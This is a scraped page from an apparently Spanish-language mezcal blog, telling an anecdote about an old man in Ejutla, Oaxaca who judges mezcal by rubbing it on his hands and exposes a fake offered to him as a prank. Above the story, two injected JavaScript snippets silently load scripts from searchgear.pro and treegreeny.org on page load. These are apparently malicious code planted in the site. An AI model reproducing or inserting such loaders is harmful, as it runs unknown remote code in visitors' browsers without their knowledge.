;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » 116. La historia del viejón

116. La historia del viejón


Tío Luis Ramírez, oriundo de Ejutla, Oaxaca, maestro talabartero y eximio catador de mezcales tradicionales (MT), refirió lo siguiente:

El jueves de cada semana, día de plaza en Ejutla, pasaba por su taller un viejito vestido a la antigua usanza de la región: calzón de manta, sombrero, morral y huaraches. Acostumbraba saludar a Tío Luis con una frase habitual entre las personas de su generación cuando se dirigían a otra de menor edad por quien sentían afecto paternal:

– Buenas tardes, papacito, ¿cómo estás?

Hecho el cariñoso saludo, y sabiendo que Tío Luis siempre contaba con MT excelsos para los sedientos, le preguntaba si podía venderle un litro. Si la respuesta era afirmativa, pedíale una copita de mezcal para corroborar la calidad pero, para sorpresa de aquél, ¡nunca lo bebía! Unicamente lo vertía entre sus manos y las estiraba hacia abajo a su costado derecho, al tiempo que las frotaba y giraba la cabeza a la izquierda, mientras aspiraba los aromas que se desprendían al conseguir su evaporación. Entonces decía con su armoniosa entonación:

– Este mezcal está bueno. Véndeme un litro.

La escena se repitió semanalmente hasta que -un día- Tío Luis y quienes la habían presenciado, decidieron poner a prueba el paladar de quien, cariñosamente, los más jóvenes llamaron el viejón. No sobra decir que todos ellos pensaban que era un farsante.

Entonces consiguieron “mezcal” procedente de otra región fermentado con químicos y se prepararon para consumar la broma. Llegó el jueves y, por supuesto, también el viejón, quien pidió la consabida prueba y le ofrecieron la marranilla. Frotó el bebedizo, giró la cabeza y dijo dulcemente:

– ¡Ay papacito!, ¡cómo serás pendejo! Esto es pura chingadera. Ora sí no compro.

Las risas estallaron y brotaron los halagos que, a modo de disculpas, externaron al viejón. Enseguida, Tío Luis le dio un MT de Ejutla que, como era costumbre, fue sometido al singular método de cata; hecho ésto, sólo aseveró:

– Papacito: este mezcal sí esta chingón. De este sí compro.

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